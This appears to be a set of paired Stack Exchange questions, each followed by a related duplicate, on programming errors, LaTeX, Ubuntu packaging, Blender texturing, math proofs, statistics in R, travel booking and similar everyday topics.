I want to get folder names inside the special directory.   for example : inside /storage/sdcard/DCIM there is two sub folder name 100ANDRO and Camera  How can i achieve this ?  i tried :  ArrayList<File> files; File directory = new File("/storage/sdcard/DCIM");      File[] fList = directory.listFiles();      for (File file : fList) {         if (file.isDirectory()) {             files.add(file);         }     }    but i get NullPointerException

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


That doesn't look right at all.  Also,    Why is his face all black?

I'm designing this animal-type creature, and want to add a transparent .png image to its face with the face features (object has a subsurf). On the left is the image with the features, on the right is the part of the object where I want it to be.    I tried to import the image as a plane, but matching the shape of the plane with the face didn't work, and the lines of the face left shadows on the head, and could be seen as a different object from some angles (although it's the closest I've gotten yet). It looked like this:    So , I tried selecting the faces of the head that the features should go over, and create a new material for it. Unfortunately, since the .png is transparent, the result produced was this:    (where it's impossible to tell the transparency from a black background default color, and where I wouldn't know where to start to adjust size and position).  I also tried UV mapping, but then the whole object became black with the features repeated all over.   Is it something I have to go into Nodes for? I'm kind of stuck here. Creating a new material and applying it is simple, but applying a material that is an image is a bit more complex it seems... Ideally, I would reproduce the same technique for the adhesive bandage on its arm (seen on the right of image 1).


I have an input string with a few times escaped XML inner text. E.g.:  <anode>some &amp;quot;inner&amp;quot; text</anode>   I'd like to have (in a variable) value:  some "inner" text   How can I do it in C#?  I want the solution to handle triple-encoded cases (and N-encoded cases). I.e. &amp;amp;quot; Not only &quot is interesting me, but any other encoded symbol (e.g. lt, gt etc).

I have email addresses encoded with HTML character entities. Is there anything in .NET that can convert them to plain strings?


My account is the same email for this and I don't think I did anything against the rules. Please help me figure out the reason for being restricted.  Thanks, Matt S.

I am not a very experienced Ubuntu user, so I have to look up some information on the internet. Most of the links lead to . But each time I try to open a page on this site, it says "Sorry. The administrator has banned your IP address. To contact the administrator click here". That seems strange, because it is the first time I have ever been on ubuntuforums.org.   The worst thing is: when I click on the word "here" to contact the administrator, it says "The administrator may have required you to register before you can view this page." I tried logging in with SSO as it says, but when I open the login page, the message about my ban appears again.   I tried to contact the ForumCouncil from their page, but it gives me the same error => I can't open it  Is there any way to find out the reason why my IP was banned? Thank you.


I think the Stack Exchange format is great and would like to suggest to my employer that they implement an internal SE for collaboration on our processes. Obviously the network would need to be private to just our company due to proprietary and confidential information.  Does SE license their format that we could purchase a corporate license for? If the answer is no, then the follow up question; is SE format protected by intellectual property rights that would prevent us from implementing our own similar system?

Is the Stack Exchange engine that powers Stack Overflow available to download or install internally for an enterprise or company?  I think Stack Exchange's engine is very great and could be very cool to use for internal enterprise patterns and practices, like the engine of Wikipedia.


I am applying from India to visit my brother in UK. My visa application was rejected in Feb 2019 due to me not attaching my bank or other financial documents since my brother was sponsoring me.  now should I write a detailed note of reason of rejection earlier and the attachments I am submitting for reapplying?

The UK Visas and Immigration Directorate publishes  that provides helpful tips that can result in successful visa applications. Section 2 of this guidance opens is entitled "other documents you may want to provide" (emphasis mine).  Section 2: other documents you may want to provide – all visitors This section provides guidance on the types of documents that you may want to provide to help us consider your application against the Immigration Rules. Previous travel documents/passports, which show previous travel. Financial documents showing that you have sufficient funds available.  These must clearly show that you have access to the funds, such as:  bank statements building society book proof of earnings such as a letter from employer confirming employment details (start date of employment, salary, role, company contact details) where a third party (who is either in the UK or will be legally in the UK at the time of your visit) is providing financial support to you e.g. a business, a friend or a relative, documents to show that they have sufficient resources to support you in addition to themselves and any dependant family should be provided   The first item is "bank statements" and this ties in with the , which says...  evidence that you can support yourself during your trip, eg bank statements or payslips from the last 6 months  (Note 'eg' is a Latin abbreviation meaning "for example"; this appears to be optional rather than a fixed requirement.) Question: How should someone interpret this such that the chances of success are maximized? How many statements should I submit? What are they looking for and what do my bank statements tell about me?


I am trying to find out how to install Ubuntu 18 on my 32-bit laptop that has that OS on it, but I do not know the password, so I can't install anything else on the computer.  I have tried to find guides and tutorials that are for a layperson like me, but I find nothing garbeliguk I simply do not understand.  "Insworn techs talking to each other"!  Can some one help to find a simple manual that can be follkowed by a dummie like me?  Thank you in advance.

I would like to see a full how-to guide on how to install Ubuntu.


I have been attempting to install LLVM-5 on my Ubuntu Xenial computer. There seem to be trouble installing just one python package.   sudo apt-get -f install   (Reading database ... 447083 files and directories currently installed.) Preparing to unpack .../python-lldb-5.0_1%3a5.0.1~svn324026-1~exp1_amd64.deb ... Unpacking python-lldb-5.0 (1:5.0.1~svn324026-1~exp1) ... dpkg: error processing archive /var/cache/apt/archives/python-lldb-5.0_1%3a5.0.1~svn324026-1~exp1_amd64.deb (--unpack):  trying to overwrite '/usr/lib/python2.7/dist-packages/lldb', which is also in package python-lldb-4.0 1:4.0-1ubuntu1~16.04.2 Errors were encountered while processing: /var/cache/apt/archives/python-lldb-5.0_1%3a5.0.1~svn324026-1~exp1_amd64.deb E: Sub-process /usr/bin/dpkg returned an error code (1)

For example:  $ sudo apt-get install curl Reading package lists... Done Building dependency tree Reading state information... Done You might want to run 'apt-get -f install' to correct these: The following packages have unmet dependencies: bsh : Depends: libjline-java but it is not going to be installed groovy : Depends: libjline-java but it is not going to be installed rhino : Depends: libjline-java but it is not going to be installed E: Unmet dependencies.   Try 'apt-get -f install' with no packages (or specify a solution).   I get the same or similar errors when I attempt to install clojure1.3, leiningen, and several other packages.   When I try the suggestion made in the error message, this is what happens:  $ sudo apt-get -f install  Reading package lists... Done Building dependency tree        Reading state information... Done Correcting dependencies... Done The following packages were automatically installed and are no longer required:   diffstat linux-headers-3.2.0-26-generic linux-headers-3.2.0-26 dh-apparmor dkms html2text libmail-sendmail-perl libsys-hostname-long-perl Use 'apt-get autoremove' to remove them. The following extra packages will be installed:   libjline-java Suggested packages:   libjline-java-doc The following NEW packages will be installed:   libjline-java 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. 23 not fully installed or removed. Need to get 0 B/72.0 kB of archives. After this operation, 129 kB of additional disk space will be used. Do you want to continue [Y/n]? Y (Reading database ... 226243 files and directories currently installed.) Unpacking libjline-java (from .../libjline-java_1.0-1_all.deb) ... dpkg: error processing /var/cache/apt/archives/libjline-java_1.0-1_all.deb (--unpack):  trying to overwrite '/usr/share/java/jline.jar', which is also in package scala 2.9.2-400 Errors were encountered while processing:  /var/cache/apt/archives/libjline-java_1.0-1_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1)  $ sudo apt-get upgrade Reading package lists... Done Building dependency tree        Reading state information... Done You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies:  bsh : Depends: libjline-java but it is not installed  groovy : Depends: libjline-java but it is not installed  rhino : Depends: libjline-java but it is not installed E: Unmet dependencies. Try using -f.


I'm using the hyperref package to create hyperlinks in my document. The links from the TOC->chapters/sections work great, but I was wondering if there was a way to automatically insert hyperlinks from section titles BACK to the TOC (section->TOC). For easier two-way navigation (especially when clicking on an incorrect link in the TOC).   In case it matters I'm working in the report class, and this is a (minimized) version of what I have now.   \documentclass[11pt,a4paper]{report} \usepackage{hyperref}  \begin{document} First page  \clearpage \tableofcontents \clearpage  Blank page  \clearpage \chapter{First chapter} \end{document}   Thanks for any help!

I'd like the section headings in running text to link to their "line" in the Table of Contents so as to get "two-way" navigation, eg: a user looks in the Table of Contents for a section title, jumps there, reads a couple of lines, clicks on the section title again and gets taken to the section's entry in the Table of Contents once more.  Any ideas? :)  (Somewhat related to )


High level wizard has a high level familiar. Wizard dies.   What happens to the familiar? Does it still have all the stat boosts and gained abilities? Does it revert to being a normal animal?

According to RAW, familiars and animal companions are magically bound to their master's soul. A dead familiar or animal companion can either be replaced or brought back to life, at a cost, but what do they become if their master dies ? And is brought back to life ?


I’m trying to find the title for a movie or possibly a tv show a saw as a kid. I remember it being in the mid 90s to early 2000’s. It was about a robot that had female skin and was later discovered by the boyfriend and I want to say bubble gum had some kind of effect on the robots. Sorry I don’t have much to go off of and I searched every where and can’t find anything.

What is the scifi family movie where aliens(?) have these gumballs that whomever chews it turns into an alien/monster/creature thing.   The government is trying to capture the aliens for study and a family is trying to help them escape.  I vividly remember a scene towards the end that the mom chews a gumball that turns her into a big kraken type of monster. It has to be from the 90s, maybe 80s.


The trick of quantum computing is to take the advantage of wave mechanics (superposition) and entanglement. This allows to perform parallel computations/manipulations with $2^n$ superposed waves for $n$ bits. This principle does not rely on quantum mechanics. Superposed waves do also exist in classical mechanics (although I am not sure we can make the number of tones also scale exponentially with the size, but there could be some profit). Are there examples of efforts to create classic analogues of quantum computers that use superposed waves and manipulate those, instead of using bits in silicon chips? (I do not mean efforts to create a virtual quantum computer) This question might be generalized. Are/were there any efforts to try to move away from binary computers?

The intuition I have for why quantum computing can perform better than classical computing is that the wavelike nature of wavefunctions allow you to interfere multiple states of information with a single operation, which theoretically could allow for exponential speedup.   But if it really is just constructive interference of complicated states, why not just perform this interference with classical waves?  And on that matter, if the figure-of-merit is simply how few steps something can be calculated in, why not start with a complicated dynamical system that has the desired computation embedded in it. (ie, why not just create "analog simulators" for specific problems?)


Knowing this would be very helpful for detecting suspicious user accounts as early as possible.

It is suspected that some packages have scripts run at install time which create user accounts in /etc/passwd. How can I check which package created a specific user?


I have data look like this ( /Date(1500921000000)/ ) and I want to convert into Date. How IDK. help me, please

I'm taking my first crack at  with jQuery. I'm getting my data onto my page, but I'm having some trouble with the JSON data that is returned for Date data types. Basically, I'm getting a string back that looks like this:  /Date(1224043200000)/   From someone totally new to JSON - How do I format this to a short date format? Should this be handled somewhere in the jQuery code? I've tried the jQuery.UI.datepicker plugin using $.datepicker.formatDate() without any success.  FYI: Here's the solution I came up with using a combination of the answers here:  function getMismatch(id) {   $.getJSON("Main.aspx?Callback=GetMismatch",     { MismatchId: id },      function (result) {       $("#AuthMerchId").text(result.AuthorizationMerchantId);       $("#SttlMerchId").text(result.SettlementMerchantId);       $("#CreateDate").text(formatJSONDate(Date(result.AppendDts)));       $("#ExpireDate").text(formatJSONDate(Date(result.ExpiresDts)));       $("#LastUpdate").text(formatJSONDate(Date(result.LastUpdateDts)));       $("#LastUpdatedBy").text(result.LastUpdateNt);       $("#ProcessIn").text(result.ProcessIn);     }   );    return false; }  function formatJSONDate(jsonDate) {   var newDate = dateFormat(jsonDate, "mm/dd/yyyy");   return newDate; }   This solution got my object from the callback method and displayed the dates on the page properly using the date format library.


I trying to remember the name of a book I read 20 or 30 years ago. A man is stranded on an alien world.  He gets badly injured and a bug like alien heals him by creating a organic heart.  The aliens are solar powered and must wall themselves off at night for protection from predators. All their technology is based on organics.  The human shows them a battery and they are able to modify their bodies to have organic batteries and stay awake at night.

I'm looking for a book in which the main character was sent to a prison type planet made of crystal. He wakes up with a symbiotic creature plugged into his ear. The creature is able to communicate through plug in. The creature manufactures new crystal parts for the main character to survive, but does it when he's sleeping; such as changing out his eyes and later internal organs.  Read it in the mid 80's, but I think it was written earlier. Any help on this title would be appreciated. Thanks


Is there anything I can do so that the PNG file name can have space and "ç"?  \documentclass[11pt,fleqn]{book}  \usepackage[top=3cm,bottom=3cm,left=3cm,right=3cm,headsep=10pt,a4paper]{geometry} \usepackage[portuguese]{babel} \usepackage{graphicx} \usepackage[]{titlesec} \usepackage[many]{tcolorbox} \usepackage{booktabs} \usepackage[utf8]{inputenc} \usepackage[T1]{fontenc}  \begin{document}      \section{Aba Esboço}  %Minitable     \tcbsidebyside[title=Aba esboço,     sidebyside adapt=left,     bicolor,colback=white,colbacklower=yellow!10,     fonttitle=\bfseries,center title,drop lifted shadow,     ]{%     \includegraphics[height=4cm]{Aba esboço.png}     %     }{%     Texto aqui.     } %  \end{document}     I only get some results using: aba_esboco.png    Result:    Aba esboço.png

I want to import graphics into my main input file using the macro \includegraphics. It does not work if the filename contains spaces.   also discusses this subject, but there is no solution there.  My compilation routine is latex->dvips->ps2pdf (because of PSTricks).


I was given a hw question that I just cant seem to solve. It goes:  Let $f$ be defined and differentiable in $(a,b)$. Prove that $f'$ can't have a jump discontinuity point.  I think that by using Darboux's theorem you could get to that conclusion but we were instructed to use Lagrange's theorem.  What I did do:  Suppose $x_0\in(a,b)$ is a jump discontinuity point. We can look at $(x_0,x_0+\delta)\subset(a,b)$ all the conditions of Lagrange's theorem are met so we have a point $c\in(x_0,x_0+\delta)$ such that $f'(c)=\frac{f(x_0+\delta)-f(x_0)}{\delta}$  And this is where I'm stuck. I understand that the right side reminds the derivative definition of $f(x_0)$ but I don't understand how to connect it all.

Prove that if a function $f$ has a jump at an interior point of the interval $[a,b]$ then it cannot be the derivative of any function.  I know that for $f$ is differentiable in $(a,b)$ and that it has one-sided derivative $f_+' (a)≠f_-' (b)$ at the endpoints. If $C$ is a real number between $f_+' (a)$  and $f_-' (b)$, then there exists $c∈(a,b)$ such that $f' (c)=C $. How can I use this to prove the above?


Why is adding some text necessary when editing posts on Stack Overflow when the editing can be done by removing some extra words and sentences?   I tried to edit to remove the word "WTF" because I don't think it should be allowed here at this platform. So when I removed the word from it and tried to save my edit, it asked me to add some fixed number of characters, even though there was no need to add extra characters.

I have just recently started editing the post on Stack Overflow.  I found some posts which only required 2-3 character changes like they had correct grammar but some mistakes in spelling.  When I tried to correct the spelling mistakes, and clicked on "edit", it said:  Edits must be at least 6 characters   I don't know why Stack Overflow added this limit. How can I edit only 3-4 characters in a post?


edit: I need to do this manually by tampering with the ubiquity source code, not with the help of some tool like Ubuntu builder  I need to have a few new folders and files be automatically created once ubiquity installation is complete.  Where do I add a custom script that can do this in the ubiquity source code?  Any sort of help will be much appreciated. Thanks.

I would like to customize Ubuntu live CD by installing some additional packages. I have followed   but it doesn't seems to work. Can anyone provide clear instructions?   Note: I do not prefer Remastersys, manual way will be appreciated.  Customization  Packages that I want to install:   Thunderbird    Samba    SSH       Changes that I need:   Remove Games menu from the Application menu Firefox shortcut on Desktop Radiance as the default Theme Different default Ubuntu Wallpaper   Configuration file changes   I want the panel to be placed at the bottom I want to paste my Samba configuration file instead of default Samba configuration I have few Firefox shortcuts and folders I would like to show that in Desktop Also it will be nice if you say me how to change the icon sets   Recent Updates   I have customized Ubuntu 10.10 with Firefox shortcuts and few folders on desktops. Everything went smooth. But the installer gets crashes after choosing the timezone. How do i fix this issue? Also setting wallpaper affects the login screen. The wallpaper which i set is displayed on the login screen also. I just want the default one for the login screen.


I want the numbered tag on \begin{align} based on the section. So, for example if i have section 2.3 (2.3 means Chapter 2 and Section 3) my tag must be 2.3.1, 2.3.2,, and so on. Can you help me? Thanks in advance My MWE: \documentclass{book} \usepackage{blindtext} \usepackage{amsmath}  \begin{document} \chapter{One} \section{one} \blindtext \chapter{Two} \section{one} \blindtext \section{two} \blindtext \section{three} \begin{align} c = \sqrt{a^2 + b^2} \end{align} \end{document}

Some document elements (e.g., figures in the book class) are numbered per chapter (figure 1.1, 1.2, 2.1, ...). How can I achieve continuous numbering (figure 1, 2, 3, ...)?  And vice versa: Some document elements (e.g., figures in the article class) are numbered continuously. How can I achieve per-section numbering?  \documentclass{book}% for "vice versa" variant, replace `book` with `article`  \begin{document}  \chapter{foo}% for "vice versa" variant, replace `\chapter` with `\section`  \begin{figure} \centering \rule{1cm}{1cm}% placeholder for graphic \caption{A figure} \end{figure}  \end{document}   Bonus question: Is it possible to adjust the numbering of the sectioning headings themselves? Can I, e.g., switch from per-chapter to continuous numbering of sections in the book class?


I am trying to put a notification counter inside the action bar and it gives me this error inside the onCreateOptionsMenu method:  java.lang.NullPointerException: Attempt to invoke virtual method 'android.view.View android.widget.RelativeLayout.findViewById(int)' on a null object reference         at ro.oce.store.MainActivity.onCreateOptionsMenu(MainActivity.java:112)         at android.app.Activity.onCreatePanelMenu(Activity.java:2823)         at android.support.v4.app.FragmentActivity.onCreatePanelMenu(FragmentActivity.java:262)         at android.support.v7.internal.view.WindowCallbackWrapper.onCreatePanelMenu(WindowCallbackWrapper.java:85)         at android.support.v7.app.AppCompatDelegateImplBase$AppCompatWindowCallbackBase.onCreatePanelMenu(AppCompatDelegateImplBase.java:241)         at android.support.v7.internal.view.WindowCallbackWrapper.onCreatePanelMenu(WindowCallbackWrapper.java:85)         at android.support.v7.internal.app.ToolbarActionBar.populateOptionsMenu(ToolbarActionBar.java:448)         at android.support.v7.internal.app.ToolbarActionBar$1.run(ToolbarActionBar.java:65)         at android.os.Handler.handleCallback(Handler.java:739)         at android.os.Handler.dispatchMessage(Handler.java:95)         at android.os.Looper.loop(Looper.java:135)         at android.app.ActivityThread.main(ActivityThread.java:5257)         at java.lang.reflect.Method.invoke(Native Method)         at java.lang.reflect.Method.invoke(Method.java:372)         at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903)         at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698)   Here is the code:   public boolean onCreateOptionsMenu(Menu menu) {     // Inflate the menu; this adds items to the action bar if it is present.     getMenuInflater().inflate(R.menu.menu_main, menu);      RelativeLayout badgeLayout = (RelativeLayout) menu.findItem(R.id.shopping_cart).getActionView();     TextView tv = (TextView) badgeLayout.findViewById(R.id.actionbar_notifcation_textview);     tv.setText("12");     return true; }   Before I added the last 3 lines of code, my application didn't generate any errors. Can somebody please help me?

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


In Python you can write something like this:  a = (1, 2, 3) b = {'foo': 'bar'} my_function(*a, **b)   Is there a specific term for what happens in the last line with a and b and, if yes, what is it? It's not "destructuring" I suppose. And "variable expansion" sounds wrong too.

In the following method definitions, what does the * and ** do for param2?  def foo(param1, *param2): def bar(param1, **param2):


I want to book a return flight to India but on my return flight, my wife will be accompanying me. How do you do this on air-travel websites? Because return tickets are extremely cheap compared to one way tickets.

In the next two months I will be flying overseas to the Philippines to pick up my fiancee. I will be booking a round trip ticket, and will need to find a way to book her a ticket on the same route back as my return leg… but I can't seem to figure out a good way to do this.  Would I be better off booking two round-trip tickets, and let her seat fly empty for the trip there? Is this something where I would be better off using a travel agent instead of trying to book online or direct?


I have a 10 port USB extender hub and connected to it are 10 arduinos. Is there a way by which I can send the same program to all of them at one go and not program them one by one?

I have some 100 Atmega328 IC boards. I want to upload firmware in all of them at one go and I have the final firmware code. Is there any method by which this can be done? I was reading somewhere that it is called firmware loading, but not the process.


I want to show that for abelian finite group $A$, $A = G \oplus H \simeq G' \oplus H'$ and $G \simeq G'$ then $H \simeq H'$. I found the proof : I defined $K=G\cap H'$ and $K' = G' \cap H$, and I showed that if $K$ or $K' $ is zero group then it is proved hence assumed $K$ and $K'$ nonzero. Now I want to use induction on $|G|$, so I need to prove $H \oplus G/K \oplus G'/K'$ is isomorphic to $H' \oplus G/K \oplus G'/K'$. Now by some calculation I found that I need to prove only $H'/K \oplus G' \oplus G'/K' \simeq H/K' \oplus G \oplus G/K$. And I stuck. Since $G$ is isomorphic to $G'$ the only left one is other two terms aand i'm guessing it's simple too, but I'm not sure how to prove it. What am I missing?

Given a finite group $G$ and its subgroups $H,K$ such that $$G \times H \cong G \times K$$ does it imply that $H=K$.  Clearly, one can see that this doesn't work out for all subgroups. Is there any condition by which this can remain true.


I know there are a lot of answers given to this error but I couldn't find the solution. I've found the line generating the error. String dbop="INSERT INTO employees.workers (ID,First_Name) VALUES ('6',"+name+"')"; is generating the error. the GUI runs smoothly but it should also insert the data in employee.workers database (Database: Employee, Table: workers) but it generates a lot of errors I'll paste errors.  Exception in thread "AWT-EventQueue-0" java.lang.NullPointerException at javaapplication13.NewJFrame.jButton1ActionPerformed(NewJFrame.java:78) at javaapplication13.NewJFrame.access$100(NewJFrame.java:5) at javaapplication13.NewJFrame$2.actionPerformed(NewJFrame.java:42) at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:2022) at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2348) at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:402) at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:259) at javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:252) at java.awt.Component.processMouseEvent(Component.java:6533) at javax.swing.JComponent.processMouseEvent(JComponent.java:3324) at java.awt.Component.processEvent(Component.java:6298) at java.awt.Container.processEvent(Container.java:2236) at java.awt.Component.dispatchEventImpl(Component.java:4889) at java.awt.Container.dispatchEventImpl(Container.java:2294) at java.awt.Component.dispatchEvent(Component.java:4711) at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4888) at java.awt.LightweightDispatcher.processMouseEvent(Container.java:4525) at java.awt.LightweightDispatcher.dispatchEvent(Container.java:4466) at java.awt.Container.dispatchEventImpl(Container.java:2280) at java.awt.Window.dispatchEventImpl(Window.java:2746) at java.awt.Component.dispatchEvent(Component.java:4711) at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:758) at java.awt.EventQueue.access$500(EventQueue.java:97) at java.awt.EventQueue$3.run(EventQueue.java:709) at java.awt.EventQueue$3.run(EventQueue.java:703) at java.security.AccessController.doPrivileged(Native Method) at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:76) at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:86) at java.awt.EventQueue$4.run(EventQueue.java:731) at java.awt.EventQueue$4.run(EventQueue.java:729) at java.security.AccessController.doPrivileged(Native Method) at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:76) at java.awt.EventQueue.dispatchEvent(EventQueue.java:728) at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:201) at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:116) at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:105) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93) at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)   Whenever I execute the program it shows the GUI pop-up that I generated using swing but whatever I enter something in JTextField and press the button to enter data in the database. these errors come right to my face. I've tried specifying the exact syntax of MySQL but same errors  private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {                                               try {         String name=input.getText();         Statement stat=con.createStatement();          String dbop="INSERT INTO employees.workers (ID,First_Name) VALUES ('6',"+name+"')";         stat.execute(dbop);         stat.close();      } catch (SQLException ex) {         Logger.getLogger(NewJFrame.class.getName()).log(Level.SEVERE, null, ex);     }  }


My module now has a lot of TWIG template files in the /custom/MYMODULE/template folder. I tried creating some sub-folders because I thought Drupal 8was supposed to search all sub-folders automatically but I got an error about a missing template file. Should it work?   I've tried setting the subfolder name in '#theme' => 'SUBFOLDER/mytemplate' and I don't get an error, but the block contents are just blank (although the title displays).  I have my template defined in MYMODULE_theme(), but it feels wrong to specify a sub-folder in there.

I have created a module in Drupal 8, which contains a large number of custom templates - these only theme the module's output, and don't override existing template files.  I would like to place these templates in sub-directories of the module's templates directory - for example:  templates/account templates/orders etc   If I place a template in a sub-directory, and set the renderer to use a #theme such as 'account/list_block' then the block doesn't render at all, but I get no errors.   However, critically, if I keep my template in the subdirectory but change #theme back to 'list_block' I get the following error:  Template "modules/contrib/mymodule/templates/list-block.html.twig" is not defined  (Drupal\Core\Template\Loader\ThemeRegistryLoader: Unable to find template "modules/contrib/mymodule/templates/list-block.html.twig"   in the Drupal theme registry.).   Doing the above to deliberately break things would indicate that in the first example Drupal knows the template exists, and where to find it (in the account sub-directory of templates), but is choosing not to render it. Very odd.  Is what I'm looking to do possible?


I have a grid with a column of checkboxes that allows to select multiple rows. When any row is selected user can do some kind of action on them. Grid has several pages, sorting and filtering are enabled. My question is: should the state of selected checkboxes be remembered when user changes page? For example, user selectes two rows on first page, goes to second, selects another row there and executes the action on selected rows. Should the action affect rows from first page as well or only the second?

Would you expect when making selections across multiple "pages" in a grid or other list style control that it would remember your selections? Would you expect it to forget your selections the moment you page to the next set of data?  Along the same lines, if said control did remember user selections across pages would you expect actions performed against selected items to apply only to those currently in view? Or would you expect it to be applied to all items? Maybe this is a case-specific problem but I'm just interested in hearing the community's thoughts.


I submitted a manuscript to a journal a month ago but the status was changed to "reviews completed" after "editor assigned," with nothing in between. What does that mean?

What steps does a manuscript typically go through from submission to publication (or rejection) in a typical journal? How are these steps referred to, in particular by editorial systems, and how long do they each typically take?  Note that this question is about the typical situation and hence not about:   Journals with an atypical workflow, e.g. those that allow for an instantaneous reviewer–author interaction. Exceptional steps or rare occurrences such as withdrawal or .   This is a canonical question on this topic as per . Due to its nature, it is rather broad and not exemplary for a regular question on this site. Please feel free to improve this question.


I'm trying to compare the prevalence of a specific lesion (binary) at the symptomatic side to the asymptomatic side within a group of patients.  I've already performed a McNemar test to compare the prevalence at the symptomatic versus asymptomatic side within patients.   However, I'm asked to also perform a conditional logistic regression. I'm not sure if my syntax is correct with respect to the stratification:   summary(clogit(ds$symp ~  ds$asymp, strata(ds$ID), data=ds, method = "exact"))   Question: Does R compare both sides of the patient (symptomatic vs asymptomatic) within the patient(s)? Or do I have to duplicate manually the patient ID (one ID for the symptomatic side AND one ID for the asymptomatic side)?   An example:   ID symp asymp 1   0   0 2   1   0 3   0   0 4   0   0 5   1   0 6   1   1 7   0   0 8   0   0 9   0   1 10  0   0   As an example: patient 2 has a lesion at the symptomatic side and patient 9 only at the asymptomatic side. Patients 6 at both sides.  A Exact McNemar test shows:   test <- table(df$symp, df$asymp)     compare <- exact2x2(test, paired = TRUE, alternative = "two.sided", tsmethod = "central") print(compare) Exact McNemar test (with central confidence intervals)  data:  test b = 1, c = 2, p-value = 1 alternative hypothesis: true odds ratio is not equal to 1 95 percent confidence interval:  0.00847498 9.60452988 sample estimates: odds ratio         0.5   However, a conditional logistic regression model shows:   > summary(clogit(df$symp ~  df$asymp, strata(df$ID), data=df, method = "exact")) Call: coxph(formula = Surv(rep(1, 10L), df$symp) ~ df$asymp, data = df,      method = "exact")    n= 10, number of events= 3           coef exp(coef) se(coef)     z Pr(>|z|) df$symp 0.973     2.646    1.524 0.638    0.523         exp(coef) exp(-coef) lower .95 upper .95 df$asymp 2.646      0.378    0.1334     52.46  Rsquare= 0.039   (max possible= 0.616 ) Likelihood ratio test= 0.4  on 1 df,   p=0.528 Wald test            = 0.41  on 1 df,   p=0.5232 Score (logrank) test = 0.43  on 1 df,   p=0.5127   Or should I duplicate patients and use the syntax as described above?   ID side   lesion 1   symp    0 1   asymp   1 2   symp    0 2   asymp   0 3   symp    1 3   asymp   0 4   symp    0 4   asymp   0 5   symp    1 5   asymp   1 6   symp    1 6   asymp   0

I am interested in the modeling of binary response data in paired observations. We aim to make inference about the effectiveness of a pre-post intervention in a group, potentially adjusting for several covariates and determining whether there is effect modification by a group that received particularly different training as part of an intervention.  Given data of the following form:  id phase resp 1  pre   1 1  post  0 2  pre   0 2  post  0 3  pre   1 3  post  0   And a $2 \times 2$ contingency table of paired response information:  \begin{array}{cc|cc} & & \mbox{Pre} & \\  & & \mbox{Correct} & \mbox{Incorrect} \\ \hline \mbox{Post} & \mbox{Correct} & a & b&\\  & \mbox{Incorrect} & c& d&\\ \end{array}  We're interested in the test of hypothesis: $\mathcal{H}_0: \theta_c = 1$.  McNemar's Test gives: $Q = \frac{(b-c)^2}{b+c} \sim \chi^2_1$ under $\mathcal{H}_0$ (asymptotically). This is intuitive because, under the null, we would expect an equal proportion of the discordant pairs ($b$ and $c$) to be favoring a positive effect ($b$) or a negative effect ($c$). With the probability of positive case definition defined $p  =\frac{b}{b+c}$ and $n=b+c$. The odds of observing a positive discordant pair is $\frac{p}{1-p}=\frac{b}{c}$.  On the other hand, conditional logistic regression uses a different approach to test the same hypothesis, by maximizing the conditional likelihood:  $$\mathcal{L}(X ; \beta) = \prod_{j=1}^n \frac{\exp(\beta X_{j,2})}{\exp(\beta X_{j,1}) +  \exp(\beta X_{j,2})}$$  where $\exp(\beta) = \theta_c$.  So, what's the relationship between these tests? How can one do a simple test of the contingency table presented earlier? Looking at calibration of p-values from clogit and McNemar's approaches under the null, you'd think they were completely unrelated!  library(survival) n <- 100 do.one <- function(n) {   id <- rep(1:n, each=2)   ph <- rep(0:1, times=n)   rs <- rbinom(n*2, 1, 0.5)   c(     'pclogit' = coef(summary(clogit(rs ~ ph + strata(id))))[5],     'pmctest' = mcnemar.test(table(ph,rs))$p.value   ) }  out <- replicate(1000, do.one(n)) plot(t(out), main='Calibration plot of pvalues for McNemar and Clogit tests',    xlab='p-value McNemar', ylab='p-value conditional logistic regression')


My brand new pair of bluetooth headphones stopped working after charging them with a 2.1 Amps USB outlet. I can't turn it ON anymore. I do see the LED battery Green then I charge it though. I noticed on the datasheet that the Amps for the headphones are 500mA and I've been charging them with my 2.1A usb plug. Could that have friend the circuitry? I'm not sure how battery works, for from Ohms law, IR=V if V is constant 5V, and R I'm guessing is too, then A could not vary.

Power supplies are available in a wide range of voltage and current ratings.  If I have a device that has specific voltage and current ratings, how do those relate to the power ratings I need to specify?  What if I don't know the device's specs, but am replacing a previous power supply with particular ratings?  Is it OK to go lower voltage, or should it always be higher?  What about current?  I don't want a 10 A supply to damage my 1 A device.


I've got some jQuery that I'm using to change a class of two elements. It works once, and the elements change class once, but I want it to work interchangeably. so when they click they click the 'deselected' button it assigns itself the 'selected' class, and the 2nd button changes to a 'deselected' class. Here's the jQuery:    $('.network_bar_deselected').on('click', function(){     $('.network_bar_selected').removeClass('network_bar_selected').addClass('network_bar_deselected');     $(this).removeClass('network_bar_deselected').addClass('network_bar_selected'); });   and the HTML is quite simple:

Network Updates

Latest Tweets

